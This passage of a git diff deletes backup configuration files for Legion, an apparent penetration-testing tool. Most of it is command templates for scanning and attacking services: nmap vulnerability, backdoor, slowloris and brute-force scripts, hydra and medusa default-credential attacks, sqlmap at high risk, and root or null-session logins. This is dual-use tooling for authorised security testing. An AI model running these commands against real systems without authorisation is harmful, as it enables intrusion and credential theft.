--script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp - -[SchedulerSettings] -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smbenum=microsoft-ds, tcp -snmp-default=snmp, udp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="Vulners,CVE" -stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports="T:30000-65534,65535" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/usr/bin/nmap -texteditor-path=/usr/bin/leafpad diff --git a/backup/20190306152952565589-legion.conf b/backup/20190306152952565589-legion.conf deleted file mode 100644 index 00d2c351..00000000 --- a/backup/20190306152952565589-legion.conf +++ /dev/null @@ -1,318 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" -process-tab-detail=False - -[GeneralSettings] -default-terminal=gnome-terminal -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" -http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" -http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" -https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] 